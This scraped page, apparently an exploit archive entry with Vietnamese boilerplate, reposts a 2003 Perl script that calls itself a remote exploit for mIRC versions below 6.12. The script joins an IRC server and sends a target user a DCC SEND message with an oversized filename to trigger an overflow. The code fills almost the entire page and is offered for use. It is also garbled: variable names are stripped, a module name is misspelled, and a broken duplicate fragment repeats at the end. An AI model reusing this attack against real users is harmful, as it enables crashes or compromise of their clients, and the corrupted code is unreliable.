Remote Exploit For Mirc Versions Below 6.12

Remote Exploit For Mirc Versions Below 6.12

Remote Exploit For Mirc Versions Below 6.12trang này đã được đọc lần Submits the code: powwow Submits the date: 2003-11-05 Code attribute: long-distance CODE #! /usr/bin/perl -w use IO::Socket; # get irc server to connect to, and nick to exploit. print " Enter Serv: "; chomp ($serv= < STDIN >); print " Enter Nick: "; chomp ($nick= < STDIN >); #setup connection $ocket = IO::Socketc::inet- > new ( PeerAddr= >" $serv ", PeerPort= > '6667' ) || die " could not connect to $serv: $! "; #$| = 1; #$ocket- > autoflush (); ne= ""; until ( ne =~ /Ident/) { $oldline= ne; ne = < $ocket >; if ($oldline ne ne) { print ne; } } print $ocket " user ident irc name ircname\n "; #send ident/ircname info ne= ""; until ( ne =~/PING/) { $oldline= ne; ne = < $ocket >; if ($oldline ne ne) { print ne; } } ne =~ s/. *://; print $ocket " PONG: ne\n "; print $ocket " nick thssmnck\n "; print $ocket " privmsg $nick: DCC SEND \ " a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \ " 1079095848 666 \n "; . Remote Exploit For Mirc Versions Below 6. 12trang này đã được đọc lần Submits the code: powwow Submits. IO::Socketc::inet- > new ( PeerAddr= >" $serv ", PeerPort= > &apos ;66 67' ) || die " could not connect to $serv: $! "; #$| = 1; #$ocket-